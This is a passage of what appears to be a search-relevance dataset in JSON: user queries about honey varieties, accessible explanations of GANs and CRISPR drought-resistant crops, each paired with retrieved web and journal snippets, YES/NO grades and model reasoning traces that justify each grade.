                "text": "In Doubtless Bay, New Zealand, at least tens of thousands of bees or 300 hives were killed. The owners of Daykel Apiaries and the lost hives believe the cause of death may have been poisoning. So far, no one knows what happened to the bees, but many believe the deaths were a form of sabotage against a competitor in the Manuka honey industry. The popularity of Manuka honey has risen extremely in the last few years, and the booming industry has led to many crimes and bee killings in response.\nTo keep up with rampant demand, beekeepers have increased and are often using supplementary feedings due to the competition for food, specifically nectar, among bees. For beekeepers to market and sell their product as Manuka honey, they must keep their hives close to the Manuka plant to sell their product as such. Some beekeepers have grown frustrated with newer beekeepers and are suggesting they are setting up hives too close in proximity and infringing on their production.\nNative to New Zealand, Manuka is a scrub tree bees visit and use to produce highly valued honey, and the previous ill-thought of scrub has been used in wound dressing. Manuka, as many likely already know, is currently experiencing a global craze and turning a major profit. Last year, honey producers brought in over 20 tons of honey, and exports are expected to reach $400m in a few years. Due to this success, theft and vandalism have also risen, leaving beekeepers to travel in packs for protection.\nIn the past year, New Zealand police forces have received almost 200 reports of theft. For the Daykel Apiaries case, police have investigated the case, but it was dropped after officers couldn\u2019t find any leads. The recent mass bee death cost an estimated 200k in damages. Some beekeepers have also grown frustrated with officials and prefer to take matters into their own hands. Over the years, hives have been stolen, vandalized, and poisoned, costing over thousands of dollars in damage. Some beekeepers are considering setting up GPS trackers despite their added exp",
                "model_trace": "Query Decomposition:\n1. {Overview of distinct and renowned honey varieties}: The document focuses exclusively on Manuka honey, not providing an overview of multiple honey varieties -> ([1], UNSATISFIED)\n2. {Where they are produced}: The document specifies that Manuka honey is produced in New Zealand -> ([1], SATISFIED)\n3. {Unique flavor profiles}: The document does not describe the unique flavor profile of Manuka honey -> ([1], UNSATISFIED)\n\nAssessment: The document only satisfies the subcomponent related to the production location of Manuka honey. It does not provide an overview of different honey varieties or their unique flavor profiles, which are critical to the query. Therefore, the document is not helpful for the user's research on different types of honey and their unique flavor profiles. NO."
            },
            {
                "grade": "NO",
                "title": "Manuka Honey Benefits: 8 Amazing Health Benefits of Manuka Honey",
                "url": "https://mountainvalleyhoney.co.nz/articles/manuka-honey-benefits-8-amazing-health-benefits-of-manuka-honey/",
                "published_date": "2021-03-28",
                "text": "Related Posts\n\nQueen Bee: Facts & Curiosities of the Queen Honey Bee \nThe queen honey bee is the most important bee in the hive. The only female in the colony who can lay eggs, the queen is not really a ruler though. She\u2019s more like the mother of the hive. The queen bee\u2019s intricate relationship with her hive is absolutely crucial to the bees\u2019 health and survival. That makes her pretty special for humans too.What does a queen bee look like?The queen bee looks like a larger, heavier bee. She is caramel in colour, with a longer abdomen and shorter wings. It\u2019s not likely that you will be able to identify a queen bee in your garden though \u2014 she spends so little time outside of the hive.A queen bee in a hiveQueen Bee vs Worker BeeThe queen bee is genetically identical to the worker bees. That means that any female larva has\n\nWhy is Manuka Honey Expensive? The Inside Story \nBy noknokadmin \nManuka honey has become the darling of the world in recent times. This special honey from New Zealand has caught the attention of celebrities and scientists alike. But you may be asking yourself: Why is Manuka honey expensive compared to other honey?There are good reasons why Manuka honey demands a higher price. First, it has special properties that mark it out from other raw honeys. Research findings about the health benefits of Manuka have led to increased demand, driving prices up. Second, Manuka honey comes from New Zealand, which is a small country. That means there is a limited supply. But there\u2019s another very simple answer to the question: Why is Manuka honey expensive? Pure Manuka is expensive to produce. This unique honey requires the perfect\n\nHoney for Cough: Is Honey a Good Home Remedy for Coughs? \nBy noknokadmin \nIf you\u2019re looking for a home remedy for coughs and colds, which doesn\u2019t break the bank, then you should consider raw honey. Over-the-counter medicines are not only expensive, they often come with lots of added sugar or unwanted side effects. And, when it comes to dealing with a cough, many people these days prefer",
                "model_trace": "Query Decomposition:\n1. {different types of honey produced around the world}: The document focuses on Manuka honey from New Zealand and does not mention other types of honey -> ([1], UNSATISFIED)\n2. {unique flavor profiles of different honey varieties}: The document does not provide information on the flavor profile of Manuka honey or any other honey -> ([1], UNSATISFIED)\n3. {where they are produced}: The document mentions that Manuka honey is produced in New Zealand -> ([1], SATISFIED)\n4. {what makes their taste unique}: The document discusses the health benefits and reasons for the high cost of Manuka honey but does not describe its taste -> ([1], UNSATISFIED)\n\nAssessment: The document only satisfies one relevant subcomponent and lacks comprehensive information about different types of honey and their unique flavor profiles. NO."
            },
            {
                "grade": "YES",
                "title": "Unique Honey Flavors and Profiles",
                "url": "https://blythewoodbeecompany.com/blogs/news/honey-around-the-world-unique-honey-flavors-and-profiles",
                "published_date": null,
                "text": "May 25, 2024\n            \n          \n          \n            \n              Scott Derrick\n            \n          \n        \n      \n      \n      \n         Honey, with its golden hue and rich sweetness, is one of nature's most beloved treasures. What many people may not realize, however, is that honey comes in a vast array of flavors, colors, and aromas, depending on the floral source from which it was gathered. From the floral meadows of France to the rugged mountains of New Zealand, honey varietals around the world offer a diverse and fascinating glimpse into the botanical landscapes of different regions. In this blog, we'll take a journey across the globe to explore some of the most unique and delicious honey varietals, each with its own distinct flavor profile and characteristics. \nAcacia Honey (Italy)\n We begin our journey in Italy, where the delicate blossoms of the acacia tree produce a honey renowned for its light color and mild, floral flavor. Acacia honey is prized for its clarity and sweetness, making it a favorite for drizzling over desserts or stirring into tea. Its subtle aroma and smooth texture make it a versatile addition to a wide range of culinary creations. \nManuka Honey (New Zealand)\n Next, we travel to the rugged landscapes of New Zealand, home to the iconic Manuka tree and its prized honey. Manuka honey is celebrated for its distinctive flavor profile, characterized by rich, earthy notes and a hint of caramel sweetness. Renowned for its purported health benefits, including antibacterial properties, Manuka honey is often enjoyed on its own or used in skincare products for its natural healing properties. \nLavender Honey (France)\n In the rolling lavender fields of Provence, France, bees collect nectar from the fragrant purple blooms to create lavender honey, known for its delicate floral aroma and subtle herbal notes. Lavender honey pairs beautifully with cheese and fruit, or can be used to add a floral twist to baked goods and desserts. Its pale golden color and smooth, velvety texture make it a ",
                "model_trace": "Query Decomposition:\n1. {different types of honey produced around the world}: The document mentions various honey types from different regions, such as Acacia honey from Italy, Manuka honey from New Zealand, and Lavender honey from France -> ([1], SATISFIED)\n2. {unique flavor profiles}: The document provides detailed descriptions of the flavor profiles of each honey type, such as the mild, floral flavor of Acacia honey, the rich, earthy notes of Manuka honey, and the delicate floral aroma of Lavender honey -> ([1], SATISFIED)\n3. {where they are produced}: The document clearly states the regions where each type of honey is produced, such as Italy, New Zealand, and France -> ([1], SATISFIED)\n4. {what makes their taste unique}: The document explains what makes each honey's taste unique, such as the floral source and specific characteristics of each honey type -> ([1], SATISFIED)\n\nAssessment: All key subcomponents are satisfied. The document provides a comprehensive overview of various honey types, their unique flavor profiles, production regions, and what makes their taste unique.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Why honeys taste different and how you can learn to ...",
                "url": "https://www.luriegarden.org/appreciate-honeys-variety/",
                "published_date": null,
                "text": "Honey straight from a hive is full of unique flavor notes based on its location and season. With a little background information all of these delicate variations can be appreciated with the same respect and admiration as the tasting of wine.\nThe squeezable, plastic bears you find in grocery stores are labeled as \u2018honey\u2019 but contain a homogenized product void of nuance. In an effort to offer a consistent taste, color, and viscosity, anything that might reflect a unique time of season in a specific place is melted down and processed to create a mediocre syrup everyone has grown accustomed to. This humdrum version of honey never excites the taste-buds.\n    Generic honey (left) is no match for the unique tastes and flavors of local honeys straight from the hive which can express many characteristics and transport you to a unique time and place. Honeys in picture from left to right: Generic \u2013 Chicago, US;, Star Thistle \u2013 Colorado, USA; Sugar Gum \u2013 Kangaroo Island, Australia; Zurich Wildflower \u2013 Switzerland; Acacia \u2013 Italy; Wild Blueberry \u2013 Maine, USA; Lurie Garden \u2013 Chicago, IL, USA; Tupelo \u2013 Florida, USA; Buckwheat \u2013 Wisconsin, USA; Lavender \u2013 France; Apple Blossom \u2013 Hokkaido, Japan  \nIf you were to open the hives at Lurie Garden and taste the honey it would taste differently from honey from a hive in Louisiana or even a hive on the other side of the city. Honey expresses many characteristics including color, texture, viscosity, taste, smell, and how quickly it crystalizes. These characteristics vary based on what plants the hive\u2019s bees have been collecting nectar from.\nForaging from the Flower\nFlowers produce a sugary fluid called nectar as a means of attracting all sorts of insects for the purpose of pollination. As insects search for the nectar in the flower, the flower\u2019s sticky pollen catches on their bodies and gets transferred to the flower\u2019s stigma. The meeting of the flowers pollen and its stigma starts the process of pollination or fertilization, enabling the plant to make seeds for its next generation.\n    ",
                "model_trace": "Query Decomposition:\n1. {Overview of distinct and renowned honey varieties}: The document lists several types of honey, including their names and places of origin, such as Star Thistle (Colorado, USA), Sugar Gum (Kangaroo Island, Australia), Zurich Wildflower (Switzerland), etc. -> ([1], SATISFIED)\n2. {Where they are produced}: The document provides the locations where each type of honey is produced -> ([1], SATISFIED)\n3. {Unique flavor profiles}: The document mentions that honey has unique flavor notes based on its location and season, and it lists various types of honey, implying their unique characteristics -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Types of Honey: 11 Honey Varieties, Uses, & More",
                "url": "https://www.webstaurantstore.com/guide/685/types-of-honey.html",
                "published_date": null,
                "text": "Honey is made by bees using the nectar of flowering plants, and it is often used as a  type of sweetener  for beverages and baked goods. While all honey comes from bees, not all honey is the same. Where bees source their nectar affects the taste, sweetness level, and color of the honey they produce. Differentiate between the different types and learn some helpful tips on how to keep your honey looking and tasting its best! \nShop All Bulk Honey  \nUse the following links to navigate this guide and learn more about honey:\n Common Types of Honey \n Honey Color Chart \n What Is Honeycomb? \n What Is Raw Honey? \n How Long Does Honey Last? \n         Common Types of Honey   According to the National Honey Board, there are over 300 different varieties of honey produced worldwide. All honey has a sweet taste, but several key factors make each type of honey unique, such as color and flavor profile. Below, we'll break down 11 of the most popular types of honey and their distinct flavors.      Grown in Canada, the United States, Sweden, and New Zealand,\u00a0clover honey  is the best-known honey variety with the largest annual production.\u00a0It has a sweet,\u00a0mild taste with a hint of cinnamon and a light golden color.\u00a0\u00a0\nAlthough clover honey doesn't contain as many antioxidants as darker varieties, such as buckwheat and manuka,\u00a0it's the perfect all-purpose honey to keep on hand in your establishment for all your tableside needs.\nRecommended for table use, cooking, and baking\nCommonly used in desserts, sauces, meats, sweet bread, yogurt, and cereal\n         Wildflower honey \u00a0features a select blend of wild blossoms and flowers. Because wildflower honey is collected from any variety of wildflowers depending on the season and region that they're in bloom, it may originate from any country that grows honey.\nIts taste varies depending on the flower source. However, it's typically slightly darker than other honey varieties, adding a robust flavor to baking recipes.\nRecommended for cooking and baking\nCommonly used in muffins, meats, and bread\n ",
                "model_trace": "Query Decomposition:\n1. {Overview of distinct and renowned honey varieties}: The document provides a breakdown of 11 popular types of honey and their distinct flavors -> ([1], SATISFIED)\n2. {Where they are produced}: The document mentions the regions where some types of honey are produced (e.g., clover honey from Canada, the United States, Sweden, and New Zealand) -> ([1], SATISFIED)\n3. {What makes their taste unique}: The document discusses the unique flavor profiles of different honey varieties (e.g., clover honey has a sweet, mild taste with a hint of cinnamon) -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            }
        ]
    },
    {
        "query": "I'm a high school student interested in machine learning and AI. I'm looking for a journal article that explains the core principles and intuitions behind how generative adversarial networks (GANs) work in a way that is accessible to someone without a deep background in ML.",
        "grid_pos": [
            3,
            0
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The queries cover a diverse range of topics and interests, including machine learning, biology, mathematics, art, and renewable energy. They are personalized to the user's background and needs, and require accessing specialized technical knowledge to find relevant journal articles. The queries are specific and detailed, testing the search engine's ability to understand context and nuance. Some queries may have clear answers, while others are more open-ended. Overall, these queries aim to challenge the search engine to go beyond simple keyword matching and demonstrate a deeper understanding of the user's intent and the underlying subject matter."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Generative Adversarial Nets",
                "url": "https://papers.nips.cc/paper/5423-generative-adversarial-nets.pdf",
                "published_date": null,
                "text": "Jean Pouget-Abadie, Jean Pouget-Abadie did this work while visiting Universit\u00e9 de Montr\u00e9al from Ecole Polytechnique. \u2021 Sherjil Ozair is visiting, Universit\u00e9 de Montr\u00e9al from Indian Institute of Technology\nMehdi Mirza\nBing Xu\nDavid Warde-Farley\nSherjil Ozair\nAaron Courville\nYoshua Bengio\n Delhi\n\nAbstract\n\nWe propose a new framework for estimating generative models via an adversarial process, in which we simultaneously train two models: a generative model G that captures the data distribution, and a discriminative model D that estimates the probability that a sample came from the training data rather than G. The training procedure for G is to maximize the probability of D making a mistake. This framework corresponds to a minimax two-player game. In the space of arbitrary functions G and D, a unique solution exists, with G recovering the training data distribution and D equal to 1 2 everywhere. In the case where G and D are defined by multilayer perceptrons, the entire system can be trained with backpropagation. There is no need for any Markov chains or unrolled approximate inference networks during either training or generation of samples. Experiments demonstrate the potential of the framework through qualitative and quantitative evaluation of the generated samples.\n\n1 Introduction\n\nThe promise of deep learning is to discover rich, hierarchical models [2] that represent probability distributions over the kinds of data encountered in artificial intelligence applications, such as natural images, audio waveforms containing speech, and symbols in natural language corpora. So far, the most striking successes in deep learning have involved discriminative models, usually those that map a high-dimensional, rich sensory input to a class label [14, 20] . These striking successes have primarily been based on the backpropagation and dropout algorithms, using piecewise linear units [17, 8, 9] which have a particularly well-behaved gradient . Deep generative models have had less of an impact, due to the difficulty of approximati",
                "model_trace": "Query Decomposition:\n1. {Journal article}: This document is a journal article -> ([1], SATISFIED)\n2. {Explains core principles and intuitions behind GANs}: The abstract and introduction indicate that the paper explains the framework and principles of GANs -> ([1], SATISFIED)\n3. {Accessible to someone without a deep background in ML}: The document appears to be a formal academic paper, which may not be easily accessible to high school students without a deep background in ML -> ([1], UNSATISFIED)\n\nAssessment: While the document is a journal article and explains the core principles of GANs, it is likely too technical for a high school student without a deep background in ML. Therefore, it does not fully meet the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Generative Adversarial Networks",
                "url": "https://arxiv.org/abs/1406.2661",
                "published_date": "2014-06-10",
                "text": "https://arxiv.org/pdf/1406.2661v1.pdf\n[1406.2661v1] Generative Adversarial Networks\nNone\nNone\nGenerative Adversarial Nets\nIan J. Goodfellow, Jean Pouget-Abadie\u2217\n, Mehdi Mirza, Bing Xu, David Warde-Farley,\nSherjil Ozair\u2020\n, Aaron Courville, Yoshua Bengio\u2021\nDepartement d\u2019informatique et de recherche op \u00b4 erationnelle \u00b4\nUniversite de Montr \u00b4 eal \u00b4\nMontreal, QC H3C 3J7 \u00b4\nAbstract\nWe propose a new framework for estimating generative models via an adversar\ufffeial process, in which we simultaneously train two models: a generative model G\nthat captures the data distribution, and a discriminative model D that estimates\nthe probability that a sample came from the training data rather than G. The train\ufffeing procedure for G is to maximize the probability of D making a mistake. This\nframework corresponds to a minimax two-player game. In the space of arbitrary\nfunctions G and D, a unique solution exists, with G recovering the training data\ndistribution and D equal to 1\n2\neverywhere. In the case where G and D are defined\nby multilayer perceptrons, the entire system can be trained with backpropagation.\nThere is no need for any Markov chains or unrolled approximate inference net\ufffeworks during either training or generation of samples. Experiments demonstrate\nthe potential of the framework through qualitative and quantitative evaluation of\nthe generated samples.\n1 Introduction\nThe promise of deep learning is to discover rich, hierarchical models [2] that represent probability\ndistributions over the kinds of data encountered in artificial intelligence applications, such as natural\nimages, audio waveforms containing speech, and symbols in natural language corpora. So far, the\nmost striking successes in deep learning have involved discriminative models, usually those that\nmap a high-dimensional, rich sensory input to a class label [14, 22]. These striking successes have\nprimarily been based on the backpropagation and dropout algorithms, using piecewise linear units\n[19, 9, 10] which have a particularly well-behaved gradient . Deep generative",
                "model_trace": "Query Decomposition:\n1. {Journal article}: This document is from arXiv, which is a repository for research papers and journal articles -> ([1], SATISFIED)\n2. {Explains core principles and intuitions behind GANs}: The abstract and introduction suggest that the paper explains the framework and principles behind GANs -> ([1], SATISFIED)\n3. {Accessible to someone without a deep background in ML}: The document appears to be a technical research paper, which may not be easily accessible to a high school student without a deep background in ML -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponents related to being a journal article and explaining the core principles of GANs. However, it is likely too technical for a high school student without a deep background in ML. NO."
            },
            {
                "grade": "YES",
                "title": "GANs for Everyone",
                "url": "https://towardsdatascience.com/gans-for-everyone-an-intuitive-explanation-of-the-revolutionary-concept-2f962c858b95?gi=fd76ea72cf35",
                "published_date": "2020-06-23",
                "text": "An intuitive explanation of the revolutionary AI concept Source. Image free to share. \u201cAdversarial training is the coolest thing since sliced bread.\u201d \u2014 Yann LeCun, Chief AI Scientist at Facebook The Generative Adversarial Network (GAN) has shown tremendous capability and potential in the machine learning world to create realistic-looking images and videos. Beyond its generative capability, the concept of adversarial learning is a framework that, if further explored, could lead to a huge breakthrough in machine learning. Using understandable explanations and diagrams, this article will instinctively explain how GANs work, what challenges they encounter during training, and the power of adversarial learning. A GAN is a system that consists of two models: a generator and a discriminator. The discriminator is simply a classifier that determines whether a given image is a real image from the dataset or an artificially generated image from the generator. This binary classifier will take the form of a convolutional neural network. The generator\u2019s task is to take in random input values (noise) and create an image from it using a deconvolutional neural network. Think of the concept as setting a seed for a random number generator \u2014 the same input noise will yield the same output. The generator uses the random noise as a seed of sorts to produce an image. Image created by Author. The goal of the two-model system is for the generator to fool the discriminator, but also for the discriminator to classify the generator\u2019s images with the highest accuracy it can. This ongoing battle between two worthy adversaries (generative adversarial network) means that both models get better by trying to beat the other. The generator uses the discriminator to get feedback on how convincing its images are, and the discriminator gets more data to train on from the generator. The deconvolutional neural network (DNN) is the heart of the GAN. It is the algorithm responsible for generating the images. As suggested by the name, convolutional neural ",
                "model_trace": "Query Decomposition:\n1. [Journal article]: The document is a web page from Towards Data Science, not a journal article -> ([0], UNSATISFIED)\n2. [Explains core principles and intuitions behind GANs]: The document provides an intuitive explanation of how GANs work, including the roles of the generator and discriminator, and uses understandable explanations and diagrams -> ([1], SATISFIED)\n3. [Accessible to someone without a deep background in ML]: The document is written to be intuitive and accessible, aiming to explain GANs in a way that is understandable to those without a deep background in machine learning -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents related to explaining the core principles and making it accessible to someone without a deep background in ML. However, it does not meet the requirement of being a journal article. Since the focus should be on the content's accessibility and explanation quality, the document is still helpful for the user's intent to understand GANs. YES."
            },
            {
                "grade": "NO",
                "title": "A Gentle Introduction to Generative Adversarial Networks ...",
                "url": "https://machinelearningmastery.com/what-are-generative-adversarial-networks-gans/",
                "published_date": null,
                "text": "Last Updated on July 19, 2019\nGenerative Adversarial Networks, or GANs for short, are an approach to generative modeling using deep learning methods, such as convolutional neural networks.\nGenerative modeling is an unsupervised learning task in machine learning that involves automatically discovering and learning the regularities or patterns in input data in such a way that the model can be used to generate or output new examples that plausibly could have been drawn from the original dataset.\nGANs are a clever way of training a generative model by framing the problem as a supervised learning problem with two sub-models: the generator model that we train to generate new examples, and the discriminator model that tries to classify examples as either real (from the domain) or fake (generated). The two models are trained together in a zero-sum game, adversarial, until the discriminator model is fooled about half the time, meaning the generator model is generating plausible examples.\nGANs are an exciting and rapidly changing field, delivering on the promise of generative models in their ability to generate realistic examples across a range of problem domains, most notably in image-to-image translation tasks such as translating photos of summer to winter or day to night, and in generating photorealistic photos of objects, scenes, and people that even humans cannot tell are fake.\nIn this post, you will discover a gentle introduction to Generative Adversarial Networks, or GANs.\nAfter reading this post, you will know:\nContext for GANs, including supervised vs. unsupervised learning and discriminative vs. generative modeling.\nGANs are an architecture for automatically training a generative model by treating the unsupervised problem as supervised and using both a generative and a discriminative model.\nGANs provide a path to sophisticated domain-specific data augmentation and a solution to problems that require a generative solution, such as image-to-image translation.\n Kick-start your project with my new book Generative Adv",
                "model_trace": "Query Decomposition:\n1. {journal article}: The document is a web page, not a journal article -> ([0], UNSATISFIED)\n2. {explains the core principles and intuitions behind GANs}: The document provides a gentle introduction to GANs, explaining the core principles and intuitions behind how they work -> ([1], SATISFIED)\n3. {accessible to someone without a deep background in ML}: The document is described as a \"gentle introduction,\" implying it is accessible to beginners or those without a deep background in ML -> ([1], SATISFIED)\n\nAssessment: While the document is not a journal article, it does satisfy the other subcomponents by explaining GANs in an accessible manner. However, since the query specifically asks for a journal article, this key subcomponent is not met. NO."
            },
            {
                "grade": "NO",
                "title": "Generative Adversarial Networks\u2013Enabled Human\u2013 ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8113684/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Front Artif Intell\n                \n            \n                \n                    PMC8113684\n                \n            \n    \n \n        \n        \n  \n        \n            Front Artif Intell. 2021; 4: 604234.    Abstract The future of work and workplace is very much in flux. A vast amount has been written about artificial intelligence (AI) and its impact on work, with much of it focused on automation and its impact in terms of potential job losses. This review will address one area where AI is being added to creative and design practitioners\u2019 toolbox to enhance their creativity, productivity, and design horizons. A designer\u2019s primary purpose is to create, or generate, the most optimal artifact or prototype, given a set of constraints. We have seen AI encroaching into this space with the advent of generative networks and generative adversarial networks (GANs) in particular. This area has become one of the most active research fields in machine learning over the past number of years, and a number of these techniques, particularly those around plausible image generation, have garnered considerable media attention. We will look beyond automatic techniques and solutions and see how GANs are being incorporated into user pipelines for design practitioners. A systematic review of publications indexed on ScienceDirect, SpringerLink, Web of Science, Scopus, IEEExplore, and ACM DigitalLibrary was conducted from 2015 to 2020. Results are reported according to PRISMA statement. From 317 search results, 34 studies (including two snowball sampled) are reviewed, highlighting key trends in this area. The studies\u2019 limitations are presented, particularly a lack of user studies and the prevalence of toy-examples or implementations that are unlikely to scale. Areas for future study are also identified.  Keywords:  machine learning, artificial intelligence, generative adversarial networks, GANs, human-in-the-loop, human\u2013artificial intelligence collabor",
                "model_trace": "Query Decomposition:\n1. {journal article}: This document is a journal article -> ([1], SATISFIED)\n2. {explains the core principles and intuitions behind how GANs work}: The document mentions GANs and their application in design, but it focuses more on the use of GANs in creative fields rather than explaining the core principles and intuitions behind how GANs work -> ([1], UNSATISFIED)\n3. {accessible to someone without a deep background in ML}: The content seems to be a systematic review of publications and may not be accessible to someone without a deep background in ML -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {journal article} and {explains the core principles and intuitions behind how GANs work}. Since the document does not satisfy the subcomponent of explaining the core principles and intuitions behind GANs, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Introducing Generative Adversarial Networks to Middle School ...",
                "url": "https://robots.media.mit.edu/wp-content/uploads/sites/7/2021/03/EAAI-What-are-GANs_.pdf",
                "published_date": null,
                "text": "What are GANs?: Introducing Generative Adversarial Networks to Middle School\nStudents\nSafinah Ali1\u2217, Daniella DiPaola1\u2217, Cynthia Breazeal1\n1MIT Media Lab\nCambridge, Massachusetts, 02139\nsafinah@media.mit.edu, dipaola@media.mit.edu, cynthiab@media.mit.edu\nAbstract\nApplications of Generative Machine Learning techniques\nsuch as Generative Adversarial Networks (GANs) are used\nto generate new instances of images, music, text, and videos.\nWhile GANs have now become commonplace on social me\u0002dia, a part of children\u2019s lives, and have considerable ethical\nimplications, existing K-12 AI education curricula do not in\u0002clude generative AI. We present a new module, \u201cWhat are\nGANs?\u201d, that teaches middle school students how GANs\nwork and how they can create media using GANs. We de\u0002veloped an online, team-based game to simulate how GANs\nwork. Students also interacted with up to four web tools that\napply GANs to generate media. This module was piloted with\n72 middle school students in a series of online workshops.\nWe provide insight into student usage, understanding, and at\u0002titudes towards this lesson. Finally, we give suggestions for\nintegrating this lesson into AI education curricula.\nIntroduction\nIn the summer of 2020, middle school student Jessica1\nstarted using the social media applications Instagram,\nSnapchat and TikTok. TikTok, like several other social me\u0002dia platforms, makes use of user demographics and inter\u0002ests to display advertisements. While browsing through Tik\u0002Tok, Jessica received an advertisement for \u201cReface: Swap\nyour faces now\u201d, which piqued her interest. After download\u0002ing the app, Jessica uploaded a selfie and created her first\nvideo: Hermione Granger casting a spell, but with Jessica\u2019s\nface. The Reface app makes use of a generative machine\nlearning technique called Generative Adversarial Networks\n(or GANs) to swap faces on popular media (Lomas 2020).\nGANs are generative models: they create new data instances\nof data that resemble your training data (Goodfellow et al.\n2014a). GANs can be used to transfer the s",
                "model_trace": "Query Decomposition:\n1. {Journal article}: This document appears to be a journal article or a formal academic paper -> ([1], SATISFIED)\n2. {Explains the core principles and intuitions behind GANs}: The document is an educational module that explains how GANs work, specifically designed for middle school students, which implies it covers the core principles and intuitions in an accessible manner -> ([1], SATISFIED)\n3. {Accessible to someone without a deep background in ML}: The document is tailored for middle school students, indicating it is meant to be accessible to those without a deep background in ML -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "I'm a biology graduate student studying plant genetics. I'm looking for a recent review paper that summarizes the latest research on using CRISPR-Cas9 to engineer crops with improved drought resistance.",
        "grid_pos": [
            3,
            0
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The queries cover a diverse range of topics and interests, including machine learning, biology, mathematics, art, and renewable energy. They are personalized to the user's background and needs, and require accessing specialized technical knowledge to find relevant journal articles. The queries are specific and detailed, testing the search engine's ability to understand context and nuance. Some queries may have clear answers, while others are more open-ended. Overall, these queries aim to challenge the search engine to go beyond simple keyword matching and demonstrate a deeper understanding of the user's intent and the underlying subject matter."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Enhancing Crop Resilience to Drought Stress through CRISPR-Cas9 Genome Editing",
                "url": "https://www.mdpi.com/2223-7747/12/12/2306/pdf?version=1686716171",
                "published_date": "2023-06-14",
                "text": "Citation: Enhancing Crop Resilience to Drought Stress through CRISPR-Cas9 Genome Editing\nPublished: 14 June 2023\n\nG K ; Rai \nD M ; Khanday khandayd2@gmail.com \nGyanendra Kumar Rai \nSchool of Biotechnology\nSher-e-Kashmir University of Agricultural Sciences and Technology of Jammu\n180009JammuIndia\n\nDanish Mushtaq Khanday \nDivision of Plant Breeding and Genetics, Sher-e-Kashmir University of Agricultural Sciences and Technology of Jammu\n180009JammuIndia\n\nPradeep Kumar pradeep.kumar4@icar.gov.in \nDivision of Integrated Farming System\nICAR-Central Arid Zone Research Institute\n342003JodhpurIndia\n\nIsha Magotra ishamagotra316@gmail.comi.m. \nSchool of Biotechnology\nSher-e-Kashmir University of Agricultural Sciences and Technology of Jammu\n180009JammuIndia\n\nSadiya M Choudhary \nSchool of Biotechnology\nSher-e-Kashmir University of Agricultural Sciences and Technology of Jammu\n180009JammuIndia\n\nRafia Kosser \nSchool of Biotechnology\nSher-e-Kashmir University of Agricultural Sciences and Technology of Jammu\n180009JammuIndia\n\nRaviraj Kalunke rkalunke@danforthcenter.org \nDonald Danforth Plant Science Center\n63132St. LouisMOUSA\n\nMaria Giordano maria.giordano@unina.itm.g. \nDipartimento di Agricoltura, Alimentazione e Ambiente (Di3A)\nUniversity of Catania\nVia Valdisavoia 595123CataniaItaly\n\nGiandomenico Corrado giandomenico.corrado@unina.itg.c. \nDepartment of Agricultural Sciences\nUniversity of Naples Federico II\nVia Universit\u00e0 10080055PorticiItaly\n\nYoussef Rouphael youssef.rouphael@unina.ity.r. \nDepartment of Agricultural Sciences\nUniversity of Naples Federico II\nVia Universit\u00e0 10080055PorticiItaly\n\nSudhakar Pandey sudhakariivr@gmail.com \nIndian Council of Agricultural Research\nKrishi Anusandhan Bhavan II\n110012New DelhiIndia\n\nCitation: Enhancing Crop Resilience to Drought Stress through CRISPR-Cas9 Genome Editing\nPublished: 14 June 202310.3390/plants12122306Received: 13 May 2023 Revised: 3 June 2023 Accepted: 8 June 2023Academic Editor: Adi Avni Copyright: This article is an open access article distributed under the terms and cond",
                "model_trace": "Query Decomposition:\n1. {recent review paper}: The document is a recent paper published on June 14, 2023 -> ([1], SATISFIED)\n2. {summarizes the latest research}: The document title suggests it is a review paper on enhancing crop resilience to drought stress through CRISPR-Cas9, which implies a summary of recent research -> ([2], SATISFIED)\n3. {using CRISPR-Cas9}: The title explicitly mentions CRISPR-Cas9 genome editing -> ([1], SATISFIED)\n4. {engineer crops with improved drought resistance}: The title explicitly mentions enhancing crop resilience to drought stress -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "CRISPR\u2013Cas9-based genetic engineering for crop improvement under drought stress",
                "url": "https://www.tandfonline.com/doi/pdf/10.1080/21655979.2021.1969831?needAccess=true",
                "published_date": "2021-01-01",
                "text": "CRISPR-Cas9-based genetic engineering for crop improvement under drought stress\n\nAbdul Sami \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nZhao Xue \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nSaheera Tazein \nPgrl CABB\nUniversity of Agriculture Faisalabad\nFaisalabadPakistan\n\nAyesha Arshad \nPlant Physiology Lab\nI Azam University\nIslamabadQuaidPakistan\n\nZong He Zhu \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nYa Ping Chen \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nYue Hong \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nXiao Tian Zhu \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nKe Jin Zhou \nRapeseed Cultivation and Breeding Lab\nAnhui Agricultural University\nHefeiChina\n\nCRISPR-Cas9-based genetic engineering for crop improvement under drought stress\n10.1080/21655979.2021.1969831ARTICLE HISTORY Received 3 May 2021 Revised 13 August 2021 Accepted 14 August 2021REVIEWDroughtCRISPR-Cas9plant productivityABA regulationethylenegenome editing\nIn several parts of the world, the prevalence and severity of drought are predicted to increase, creating considerable pressure on global agricultural yield. Among all abiotic stresses, drought is anticipated to produce the most substantial impact on soil biota and plants, along with complex environmental impacts on other ecological systems. Being sessile, plants tend to be the least resilient to 